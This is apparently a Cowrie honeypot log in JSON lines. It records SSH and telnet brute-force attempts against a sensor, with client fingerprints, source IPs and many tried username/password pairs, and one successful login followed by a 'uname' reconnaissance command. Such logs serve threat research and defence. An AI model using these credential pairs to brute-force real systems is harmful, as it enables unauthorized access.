{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:59.524850Z","src_ip":"176.65.132.129","session":"6b44cf77f00a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sinus1","message":"login attempt [root/sinus1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:00.040073Z","src_ip":"82.152.132.24","session":"9e67c1a005bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.383707761764526,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:00.191665Z","src_ip":"152.42.224.71","session":"666c87b9e1ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.64158320426941,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:01.051131Z","src_ip":"152.42.224.71","session":"adefadc20c4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:01.171302Z","src_ip":"82.152.132.24","session":"9e67c1a005bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49664,"dst_ip":"159.203.135.109","dst_port":22,"session":"95d25783768e","protocol":"ssh","message":"New connection: 176.65.132.129:49664 (159.203.135.109:22) [session: 95d25783768e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:01.517719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:01.522599Z","src_ip":"176.65.132.129","session":"95d25783768e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:01.605687Z","src_ip":"176.65.132.129","session":"95d25783768e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:01.856925Z","src_ip":"176.65.132.129","session":"95d25783768e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":42308,"dst_ip":"10.17.0.5","dst_port":22,"session":"31e0716b8c71","protocol":"ssh","message":"New connection: 186.13.24.118:42308 (10.17.0.5:22) [session: 31e0716b8c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:02.271746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:02.278430Z","src_ip":"186.13.24.118","session":"31e0716b8c71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:02.459648Z","src_ip":"186.13.24.118","session":"31e0716b8c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:02.940968Z","src_ip":"176.65.132.129","session":"95d25783768e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elliot","message":"login attempt [root/elliot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:03.159579Z","src_ip":"186.13.24.118","session":"31e0716b8c71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39858,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8c196b6bc84","protocol":"telnet","message":"New connection: 152.42.224.71:39858 (10.17.0.5:23) [session: f8c196b6bc84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:03.499997Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:04.328417Z","src_ip":"186.13.24.118","session":"31e0716b8c71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39868,"dst_ip":"10.17.0.5","dst_port":23,"session":"8de16f962b7d","protocol":"telnet","message":"New connection: 152.42.224.71:39868 (10.17.0.5:23) [session: 8de16f962b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:04.496312Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49676,"dst_ip":"159.203.135.109","dst_port":22,"session":"739455d41cb3","protocol":"ssh","message":"New connection: 176.65.132.129:49676 (159.203.135.109:22) [session: 739455d41cb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:04.759927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:04.764991Z","src_ip":"176.65.132.129","session":"739455d41cb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:04.847624Z","src_ip":"176.65.132.129","session":"739455d41cb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:05.101189Z","src_ip":"176.65.132.129","session":"739455d41cb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:06.187771Z","src_ip":"176.65.132.129","session":"739455d41cb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.187448024749756,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:06.809497Z","src_ip":"152.42.224.71","session":"e568a5e37947","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39232,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd7bfb5e7462","protocol":"ssh","message":"New connection: 176.65.132.129:39232 (159.203.135.109:22) [session: dd7bfb5e7462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:08.071568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:08.181988Z","src_ip":"176.65.132.129","session":"dd7bfb5e7462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:08.185672Z","src_ip":"176.65.132.129","session":"dd7bfb5e7462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:08.522629Z","src_ip":"176.65.132.129","session":"dd7bfb5e7462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:09.710959Z","src_ip":"176.65.132.129","session":"dd7bfb5e7462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40880,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1ec4d43a7c8","protocol":"telnet","message":"New connection: 152.42.224.71:40880 (10.17.0.5:23) [session: a1ec4d43a7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:11.064098Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39242,"dst_ip":"159.203.135.109","dst_port":22,"session":"29aaf823e479","protocol":"ssh","message":"New connection: 176.65.132.129:39242 (159.203.135.109:22) [session: 29aaf823e479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:11.460417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:11.465101Z","src_ip":"176.65.132.129","session":"29aaf823e479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:11.547092Z","src_ip":"176.65.132.129","session":"29aaf823e479","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:11.791989Z","src_ip":"176.65.132.129","session":"29aaf823e479","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:12.081537Z","src_ip":"176.65.132.129","session":"29aaf823e479","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:12.084929Z","src_ip":"176.65.132.129","session":"29aaf823e479","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:12.222039Z","src_ip":"176.65.132.129","session":"29aaf823e479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:12.230280Z","src_ip":"176.65.132.129","session":"29aaf823e479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39246,"dst_ip":"159.203.135.109","dst_port":22,"session":"4049df99c791","protocol":"ssh","message":"New connection: 176.65.132.129:39246 (159.203.135.109:22) [session: 4049df99c791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:14.882954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:14.888027Z","src_ip":"176.65.132.129","session":"4049df99c791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:14.980802Z","src_ip":"176.65.132.129","session":"4049df99c791","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:15.232746Z","src_ip":"176.65.132.129","session":"4049df99c791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:16.320542Z","src_ip":"176.65.132.129","session":"4049df99c791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34100,"dst_ip":"159.203.135.109","dst_port":22,"session":"94e21269ea68","protocol":"ssh","message":"New connection: 176.65.132.129:34100 (159.203.135.109:22) [session: 94e21269ea68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:18.125025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:18.133739Z","src_ip":"176.65.132.129","session":"94e21269ea68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:18.216671Z","src_ip":"176.65.132.129","session":"94e21269ea68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:18.613790Z","src_ip":"176.65.132.129","session":"94e21269ea68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43314,"dst_ip":"10.17.0.5","dst_port":23,"session":"54e5f6f26c73","protocol":"telnet","message":"New connection: 152.42.224.71:43314 (10.17.0.5:23) [session: 54e5f6f26c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:18.727918Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:19.698351Z","src_ip":"176.65.132.129","session":"94e21269ea68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43318,"dst_ip":"10.17.0.5","dst_port":23,"session":"d273f53ce6cc","protocol":"telnet","message":"New connection: 152.42.224.71:43318 (10.17.0.5:23) [session: d273f53ce6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:21.347927Z"}
